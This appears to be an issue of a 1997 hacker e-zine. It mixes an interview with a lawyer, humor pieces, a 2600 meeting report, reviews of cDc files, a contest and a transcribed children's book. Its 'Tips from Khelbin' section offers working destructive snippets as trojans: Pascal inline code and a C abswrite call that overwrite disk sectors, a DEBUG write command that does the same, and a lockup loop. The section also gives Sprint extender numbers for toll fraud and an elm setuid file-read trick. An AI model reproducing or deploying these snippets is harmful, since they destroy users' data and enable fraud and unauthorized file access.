Beyond Lost 3/3

>I first heard about you from your add in 2600.  Do you read 2600 and if so   
>any general opinions on it and how its going (decling)?  also how long have  
>you been reading it?                                                         


I read 2600 to see what the latest techniques are and what the latest

consensus is in the hacker community.  2600 has a number of qualified
and     
impressive contributors, but it also allows a lot of yahoos who merely
want to
see what they wrote in print, regardless of the fact that it has no
value.    


I have read 2600 only for the past year.  I monitored it across the
web for   
about 2 years prior to that.



>I gotta know your opinons on the Bernie S. saga, especially what you thoguht 
>of the transcripts printed in 2600.                                          


I can only say that much of what I have heard reported by various
hackers &   
underground magazines should be taken with a grain of salt.  Much of
what     
they report is from an uneducated or misinformed viewpoint.  You have
to      
remember the federal judiciary is a very meticulous and structured
beast.  I
have yet to come across anything like it at the state level.  There
are formal
hearings for EVERYTHING!  The protocol used leaves no room for
informality.   
So it looks to many who are unaccustomed to this environment as if it
is a    
kangaroo court, which it is not.  You really have to listen to both
sides.    
Somewhere in the middle ground is the truth.  By saying that I do not
mean to 
discount the reports regarding Bernie, merely that you have to
carefully      
consider who says what.



As to the reports of the Secret Service:  I am not surprised.  The
Secret     
Service's responsibilties have grown tremendously over the past
decade.  They 
are now required to keep up with a high tech area which only a handful
of them
truly understand.  They take their job seriously.  And at times, too

seriously.  You must remember when any law enforcement agency is
challenged,  
as with almost any person, they get bent out of shape, bow up and
FIGHT.  So  
it does not surprise me that there were some agents who did not fully

understand the equipment that was involved and what Bernie S. was
doing with  
it.  And when he challenged them, they intended on coming out on top.



Lesson here?  When confronted by law enforcement always take a
submissive     
posture and say NOTHING!  Let your attorney handle things.



>An opinions on the EFF?                                                      


They are doing a great job - particularly covering legislation that
has an    
impact on computers and the Internet.  It seems that both state and
federal   
legislators are enacting stupid laws regarding computers just so they
can be  
politically correct or known for their "great" service.  But most do
not      
consider the ramifications and create a quagmire when the law slams
into      
reality.  The EFF has done a great job of not only tracking this, but
also of 
getting involved.  More power to 'em.



>An opinions on the PGP?                                                      


The program is great!  It will certainly help me in my job by
providing       
certification and authentication for computer evidence.  Phil
Zimmerman is    
quite remarkable.  He developed this incredible program AND he made it

freeware.  I think he has moved in the right direction by creating a

company, marketing his product, and making money.  I firmly believe he
will do
well in the coming years.  The USPS is talking about doing the same
thing, but
they can't even handle snail mail.  What do they think they can do?
Make the 
Internet slower?  I believe there is a strong possibility that PGP
will become
the de facto industry standard.



>Time for some pulp stuff, what are your favorite URLs and the like?          


I don't believe I have a particular favorite URL.  I do enjoy visiting
car    
manufacturers' websites.  I also like to visit Edmunds to see the
latest      
features, costs, specs on various cars.  I generally just bounce
around       
visiting law-oriented sites, technology sites, and whatever else I
might run  
into.  I get the biggest kick out of paranormal websites.  I love to
see      
where UFOs have landed and are setting up the new world order.  Heck,
maybe   
they'll even make me President or something.





>Where do you see technology going?                                           


Wow.  The possibilities are almost endless.  Especially when you
consider     
where we were 10 - 15 years ago.  I remember when I was astounded at
seeing a 
10 megabyte hard drive on an IBM PC XT.  Now we have computers with
1000 times
the power.  2 gigabyte capacity hard drives.  ISDN lines.  SVGA
graphics.     
Laptops that weigh under 7 pounds.  I am excited to see what is going
to be   
available just in the next 5 years.


 _____
=STATS=

Name: Dorsey Morrow Jr

Handle:

E-Mail: cyb...@mont.mindspring.com

Schooling: BS degree in CIS

           JD degree

           Worked on a Masters in MIS but have not completed.

Age: 30

Maritial Status: Married.  1 child. [Sorry ladies! :) ]

Free advice:  If you are ever arrested or asked "a few questions" by
law     
              enforcement - do not answer anything without an
attorney, no   
              matter what they promise you.  I have had more clients
tell me 
              that the cops said they would go easy on them if they
would    
              just tell them what happened.  Don't believe that.
              Favorite movie:  Any Star Trek movie.
Favorite food:  Pizza.



1011100000101010101101Why ASCII Strips Don't Work by
Rybread110100011101101110

        ___   A Differant Type of SuperHero: Super Zero!
       � o \  Not too be confused with PBS Man.
       ����-  Land planes on his head!
       /����b Marvel at his ASCII threadz.
      //��    See him hitchhike to go places!
     // ���>
        ���>  Watch him sniff glue!

See?  It just don't work.  If any k-rad ASCII artists want to proove
me wrong
and submit there ASCII strip, you know how to reach me.

  PPP                              222
PPP
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rednoP

Has anyone ever actually been to an abandoned warehouse?  I've been to
many
and still have not seen any smugglers, super villians, Quentin
Tarrintino, or
any other sort of bad guys.  Funk dat.

If you were to die, why would you give all your stuff up?  Wills are
crap,
your dead, so what do you care, and if there is an afterlife then
maybe the
Eyptians were right: you can take it with you.  Added bonus, 100 years
later
someone robs your grave and you get in the paper as being remembered
for
being ecentric.

What the hell would happen if Superman got prostate cancer?  60% of
men who
live "full" lives get it.  That's over half!  Hehe, bet thats worse
then a
shot of kryptonite.

If farmers were nazi's, would barbers be the gypsies?

What the hell is wrong with having hairy palms?  Oh, yeah.  Nevermind.

My driveway is very, very flat.  Yet when it rains, huge puddles dot
it like
it was made of limestone.  What's it do, cushion the water?

If there was a mosquito the size of an elephant and it impaled someone
with
AIDS would it get the virus?

People with herpes deep down their throat prolly swallow.

People shouldn't kick the shit out of people who still were briefs,
cause
getting hit repeatidly with a hammer sucks.


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                                January by Khelbin

   ------------------------------
   Background on the Meriden 2600

   ------------------------------



        The Meriden 2600 meeting first appeared in the Autumn, 1995
issue of 
"2600: The Hacker Quarterly."  For those who are unaware of what 2600
meetings
are, I would recommend visiting www.2600.com.  The meetings did not
last very
long as the IIRG, a Connecticut-based hacking group, withdrew support
of the 
meeting.  The quality of the meetings quickly deminished although
there still
were a few meetings which were somewhat worthwhile.

        In the "last" meeting which took place at Meriden, a person in
attendace called in a phony bomb threat and there was a "mysterious"
gentleman
in suit and tie who asked many questions, took notes, and reportedly
was seen
entering a "Employees Only" room after the meeting was over.  While
this was 
a huge discouragement to the overall underground scene, it was not the
only 
thing which took the meetings out of commision.  Obviously the IIRG
had     
reasons other than this for withdrawing and I myself noticed a lack of
true 
hacker-related discussion going on.  It just seemed like "another
place to  
hang out".



   ------------

   2600 is Back

   ------------



        After a long absense due to the previously mentioned problems,
the    
IIRG decided to again attend/sponsor the 2600 meetings in Meriden.
The first 
of these meetings was held in January and February promises yet
another       
meeting (see IIRG Net 2600 base, www.2600.com, or other for meeting

information).



   --------------

   Will it Stand?

   --------------



        Will the meeting be able to withstand time?  That is entirely
up to   
the people who attend the meetings but could there be a moral to the
first    
downfall of Meriden's 2600?  In my opinion, here are a few things
which hurt  
it that aren't as compelling as the bomb threat and the possibility of
a fed: 


        * Lack of h/p discussion and questions being asked.



        * Lack of attendance.



        * Isolation.  This is when one sits with the same two people
for the  
          whole meeting.  I know we feel more comfortable with those
that we  
          know, but c'mon!



        * "Let's go hang out at the 2600 meeting.  I think it's for
people    
          that are on bbs' to go and just shoot the shit about
whatever goes  
          on in your life and just to have fun.  Since h/p shit ain't
that    
          fun I think we'll just try to meet new people to party
with."       


   ----------------------

   Things to Improve Upon

   ----------------------



        * What happens after the meeting can be just as important as
what     
          happens at the meeting.  I do think we started trashing more
after  
          the meetings started up but I'm sure some other stuff could
be      
          organized (hint: I'm not bitching here because no one is
going to   
          organize something for you.  I think the 'initiative' talk
has      
          already been given).



        * Any of the things I mentioned in the previous section's list
that   
          are still present fall into the 'Improvement' category.





        I also think we should have some cool games and shit like they
have at
some of the cons.  Hacker Jeopardy, Spot the Fed, and others.  That
would     
rock.  And some chicks would be nice too.. yea, chicks.  And we could
have    
fire, and killer dogs that will attack anything that sucks, and we
could kick 
all the lamers asses and then hack into that one places computer so
that they 
give us free rootbear floats like the one Black_IC had.  That would be
cool.  



             ()()()()()()()()()()()()()()()()()()()()()()()()()()()(
            }"Poor Little Aculard" a Poem About The Lame by Spy Tech{
             )()()()()()()()()()()()()()()()()()()()()()()()()()()()


  Poor little Alucard, a Hacker Wanna-Be
  Connecticut's Number One Lamer, the perfect nominee.



  He watched the movie "Hackers", he was sure he could be "Elite"

  But he found out in the "Real World", he really couldn't compete.


  Thomas Icom tried to help him, but Alucard stabbed him in the back

  The little boy has no honor, he will never learn to hack


  So let him rant and rave, like a little girl he'll whine
  To bad he's like his father, a lying little swine.

[This sums up the story of Aculard (Dracula backwords, scary) pretty
much.]
[Perhaps at a later date the whole story will be presented.
]

                <----------------->
                |Tips from Khelbin|----------* * *
                <----------------->

Here's a simple trojan in Pascal.  Just incorporate the following line
of
code into your program.

        inline($B0/$02/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {C:}

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Here's a simple trojan in a far superior language... C

   abswrite(2, 5, 0,(void *) 0);

The next line will lock up a computer.

   lock: goto lock;
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-

Ok, Threez. I know you wanted a schematic for just a simple project
that
makes a noise which you can change yourself.  I'm not a great
electronics
person myself but if you have a 10k resistor, 1k resistor, a PNP
transistor, a .047 uF ceramic disk capacitor, a 100 uF Electrolytic
capacitor, a 0.1 uF ceramic disk capacitor, a variable resistor, and
some
wires and a box to put it in, mail me and I'll tell you how.  That
stuff
shouldn't cost you much and I forgot your email address but I'm sure
you'll read this super-k-rad mag! [So will 2,000 others.]

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-

sprint wats extenders: 1-800-877-8000
    		             950-1033

If anyone wants to hack out some of these I'll trade you k0dez do you
can
call ld boards to get more w4r3z.  oh wait, those are 'k0dez' right?

Well, I need them for something more important then free warez or free
phone calls so I'll give you two k0dez for one so you can jizz over
twice
as many warez.. ok? [Khelbin's isn't usually this witty...]

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-

Oh, here's something cool I found you might want to check.  In unix,
elm
should not be setuid except for setuid mail on some platforms.  I know
almost everyone that will read this probably has an account on connix
and
they don't have this bug ( ...uh.. anymore. tnx to me) so don't
bother.

Anyways, elm has a file include flag (elm -i) which will include a
file
into your edit buffer.  If elm was to be setuid root, I could then
read
any file on the system.

   exploit:  elm -i <filename> <username>

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Here's another little destructive peice of code in DOS DEBUG.EXE

   w 1 2 1 100

Enter that at the - prompt and slam enter.. don't do this on a
computer
you want to use at all though.

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                    THE CULT OF THE DEAD COW HAS BELCHED!
                 (and now we shall review this hoyl methane.)
                             Reviewed by Rybread

General Notes:  I was but too happy to snag these files when they came
out.
I've graded them 1-10 on the bases of the other cDc files, with a 5
actually
being average, not a 7.  The average of these ten new files is 5.9,
and that
seems about right.  Only a couple of hum dingers and no real stink
pots, but
a couple that we're slightly smelly.  The bottom header has remains
the same
as the 95 and 96 one, sadly absent of any BBS numbers, though I'm
aware that
some of them are still up.  Now to the feast, in reverse order cause
thats
the way, uh-huh uh-huh, I like it, uh-huh uh-huh.

cDc 330 Happyland Cell Block 90210  by G. Allen Perry
        Hmm.. I guess they saved the worst for last.  While not
hideous or
geometric, this one is defintly on the poor side.  It consists of an
odd type
of prison, which we really don't get too see as the story is very
small.
Only a a hint of the classic cDc sodomy can be found within.  ** 

cDc 329 Quadro-Pounder  by Drunkfux
        Call me a glutton for 3l1t3 speach, but I really liked this
one.  How
tough can it be for a carnivorious young fellow to order something his
way?
Well, of course he does it with elite speek!  Short, humerous and has
a great
moral at the end.  ******* 

cDc 328 Pantslessness  by Mark Buda
        Classic Cow with a hefty thesaurus!  I wish it was longer.
*********


cDc 327 Vulnerabilities in the S/KEY One-Time  by Mudge
        Almost anytime the Cult does a H/P file, its usually purty
good and
this time is no exception.  It does a good job of explaining its topic
in
normspeach and has slightly humerous examples.  I'm just not sure how
useful
this would be to everyone on the whole.  ***** 

cDc 326 The Great Southern Fire God  by John Crow
        Good prose, but slightly boring leaving me wondering why I
should care
about the point.  A good definition of an average cDc file.  ***** 

cDc 325 Zen of Skateboarding, Part 3: Flowing Stream  by Thoai Tran
        I've only ever skimmed the other parts, so from an individual
view on
this file I can say I really enjoyed it!!  I plan on reading the fist
two
parts after I'm done with this review.  The chaos theroy explained via
the art
of skateboarding.  ******** 

cDc 324 Painted Stranger  by Weasel Boy
        This one is an Oreo cookie.  Weak start, GREAT middle, weak
ending.
The part I like in the middle is where it touches on the mana theroy,
that man
creates god and the like, but it ends with an attempt at serious
incest
memories and cliches.  Incest usually works in cDc but not when it's
serious.
**** 

cDc 323 CYBERsitter  by Peacefire
        Some propiganda against yet another Web Censor.  Some valid
points,
but I've heard it all before and know that censorship sucks, esp. when
it
malifunctions (won't allow you to visit things to do with the
Hollow-Cost).
Some nice specifics were brought up, but was this really needed?  *** 

cDc 322 Pariah '67  by Matt Brown
        A "Make you think about your own self" story, with nice
dissecting
interludes throughout.  What would you of done?  Also, football was
mentioned
and no shower sodomy.  ****** 

cDc 321 Nineteen Seventy-Seven  by OXblood Ruffian
        The best was first, but reviewed last.  Yeah.  OXblood is
truly one of
the Cult's most gifted writers and relativy new.  I hope he never
stops his
great insights, even if I don't agree with everything a lot of the
stuff are
pure gems of nihilistical wit.  A great look from 1977-84 with scary
things
about Elvis and thoughts on the futer.  Great stuff.  ********** 

ruaculteruaculteruaculteruaculteruaculteruaculteruaculteruaculteruaculteruacul


                                                    *
                                                    *Philosophy with
Khelbin
                                                    *

     Today I will proove that the statement "Anything is possible" is
logically incorrect.  Saying "anything is possible" is the equivilant
of
saying "nothing is impossible".  From "nothing is impossible", we can
draw
a conclusion that "it is impossible for anything to be impossible".
We
have just come to an extreme contradiction.

Lets look at that statement closely:

 "it is impossible for anything to be impossible"

It is obviously a false statement because you are saying something is
impossible while you are also saying nothing is impossible at the same
time.  Hence, people who say "nothing is impossible" are either full
of
shit or the world is in big trouble. [I've had that on my old web page
for
almost a year now...]

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        || CONTEST Ode to Atari Programmers
       //\\

Premise:  Remember your Atari 2600?  Did you realize that most of
those games
fit on a 4k chip?  That's 4096 charecters!  Combat, with its 32
built-in
variations, was on a 2k chip.  We challenge you to:

Rulez:  1) Write a game 4096 (4k) bytes or less
        2) It can be the compiled version, just the code or have to be
run
           with special software.
        3) Mail it to ryb...@anok4u2.org with "4k" in the subject
line.
        4) Also you may have two lines for instructions or whatnot,
like
           where to FTP stuff that may be needed to play it.
        5) Myself and some selected judges will choose 3-5 to appear
in the
           next issue, or maybe issue 3 where the whole wide world
will be
           able to choose who has made the best mini-game.
        6) Let Guam be with you.
        7) There will be a prize.  Just not sure what yet :)


Classical Children's Literature
=--=--=--=--=--=--=--=--=--=--=

Cream of Creature from the School Cafeteria
        By Mike Thalet
        Illus. by Jared Lee
        ISBN 0-380-89862-4
        Avon Camelot "A Snuggle & Read Story Book" 1985
        Transcribed by Rybread in 14 minutes with but a mere 4 typos!
        Pictures Stripped
        Notes Follow

	It was lunchtime.

	Our class walked slowly toward the cafeteria, holding our noses.  We
could smell the food all the way down the hall.  It was making funny
noises.

	We opened the cafeteria door.  We took our trays and were about to
line up... when we backed away from the lunch counter in horror! The
food was
moving!!  It burbled and glurped in the pans.  Then it slurped out of
the
pans, over the side of the counter, and across the cafeteria floor.
It was
coming at us!!!  We through our lunch trays in the air and ran out the
door.

	Mrs. Crumb, the cook, ran out of the cafeteria, shouting at the food.
She tried to hit it with a serving spoon.  The food blurped over her
white
shoes and she was gone.

	We ran into the main office.  "Call the sheriff, call the sheriff!" we
all shouted.  
	"Now what's wrong?" said Mrs. Bagley the principal.  
	"The food is after us!" we screamed.  
	"Now, now," said Mrs. Bagley, opening the office door and stepping
out.  "There's absolutely nothing to..." GLURP!  She never finished
her
sentence - she just disappeared into the bubbling green.

	We ran into her office and locked the door.  Through the glass we
could see the food eating all the safety posters.  We dialed the
sheriff.
Soon we heard his siren.  He burst in, took out his gun, and told the
food not
to move.  The food moved.  He shot three bullets at it.  "Blup, blup,
blup!"
The food liked the bullets.  It happily burbled and chased the sheriff
all the
way out of the school.

	We dialed the fire department.  A big red engine roared up.  The food
was eating the flagpole.  The firemen unrolled a huge hose and
squirted the
food with water.  The food splashed merrily and took a bath.

	We dialed the army.  A jeep pulled up.  Four soldiers jumped out with
flame throwers.  They turned the flames on the food.  The food warmed
up, it
bubbled over boots, and they were all eaten by a /hot lunch/!   We
dialed the
air force.  Soon two jet planes roared overhead.  The pilots spotted
the food
for our jungle gym.  They each dropped a bomb on the food.  But the
food just
burped, then ate the jungle gym, the slides, and all our swings.  We
all
screamed.

	Then we thought of Mickey.  

        "Mickey is the only one who can save us.  Mickey will eat
anything!"

	We found Mickey licking the snack machine.  We told him what had
happened.  He smiled.  He walked calmly to the center of the
playground. He
sat down in front of the food - and took out two spoons.

	The food burbled, and out came Mrs. Crumb.  The food burbled again,
and out came Mrs. Bagley.  The food burbled a third time, and out came
the
safety posters and the soldiers.

	The food looked at Mickey.  Mickey looked at the food.  It burbled and
glurped and slithered toward him.  Closer...Closer...  Mickey's spoons
flashed
in the sunlight, and...

                                    HE ATE IT!
                                  HE ATE IT ALL!!
                                HE ATE IT ALL UP!!!
        Then he licked his spoons, twirled them, out them back in his
pockets,
and asked for seconds.  We all cheered.

The mayor came.  He gave Mickey a bright medal for saving the school.
Mickey
looked at medal, smiled, and ate it.

                                      The End

Notes:  I got this book in 1986 at a school book fair and have
treasured it
since then.  Tis quite a nifty-q book and Jared Lee's illustrations
are very
good and I recommand picking the book up if you can.  It's a steal at
$2.50
U.S. dollars.  I kept all gramatical stuff the same, using "/" to
represent
words in /italics/.  The only thing I changed is paragraphing as the
book was
kinda lacking of it.  This talented team also produced another book
involving
mastication entitled A HIPPOPOTAMUS ATE THE TEACHER, but I have yet to
aquire
it.


The Minutes of 203:

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                The Facts                      Date       Comments

  Scoop changes handle and all laugh at him. 1-1-97   Now Prof. Crane

  Binary gets new truck after long campaign. 1-3-97   But it doesn't
work yet
  IIRG revives 2600 in CT.                   1-3-97   Its ok, not
great
  Onslaught is now part of IIRG              1-7-97   Congrats!

  Prof. Crane morphs back to Scoop           1-15-97  Much rejoicing


Next Issue and Stuff + Thanx:
        No clue.  Maybe more people will help out.  Possibly a St.
Jude
interview and an update on CT 2600.  Umm... if you have any HPA
questions you
can ask Khelbin, as we want to put up a Q&A HPA section creativly
titled "Ask
Khelbin".  Ann Landers run for your life.  We still need more staff
and
wouldn't mind someone donating a mailbot to take care of subscribers,
or a
good FTP site.  Oh, did anyone notice that no line goes beyond 78
charecters?
I've decided to make this EDIT friendly!  Also big thanks to The Hac
for
lettign me reprint his one week old tutorial here.  With its UUed
stuff, it
makes up 40% of the zine.  Not sure if that makes me happy or sad.
Also call Digital Underground BBS 281-1265.  Umm.. this file should
end with
666 bytes.  Lets see.  More delusions at the very end.  L8r

 
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